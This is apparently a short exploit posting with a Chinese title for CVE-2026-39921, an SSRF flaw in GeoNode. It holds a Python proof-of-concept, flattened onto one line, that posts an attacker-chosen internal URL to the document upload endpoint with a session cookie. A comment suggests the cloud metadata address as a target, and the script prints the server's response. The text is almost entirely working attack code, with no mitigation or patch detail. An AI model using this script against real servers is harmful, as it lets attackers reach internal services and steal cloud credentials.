CVE-2026-39921 GeoNode服务器端请求伪造漏洞

import requests def exploit_ssrf(target_url, session_cookie, internal_url): """ PoC for GeoNode CVE-2026-39921 SSRF """ upload_endpoint = f"{target_url}/documents/upload/" # Headers simulating an authenticated user headers = { "User-Agent": "Mozilla/5.0", "Cookie": f"sessionid={session_cookie}" } # Payload containing the internal resource URL # Example: http://169.254.169.254/latest/meta-data/ for cloud metadata data = { "doc_url": internal_url } try: response = requests.post(upload_endpoint, headers=headers, data=data) print(f"[+] Request sent to {upload_endpoint}") print(f"[+] Target URL: {internal_url}") print(f"[+] Response Status: {response.status_code}") print(f"[+] Response Body: {response.text[:500]}") # Truncated for readability except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": target = "http://localhost:8000" # Replace with target GeoNode instance session = "valid_session_id_here" # Replace with valid authenticated session payload_url = "http://127.0.0.1:80" # Internal target exploit_ssrf(target, session, payload_url)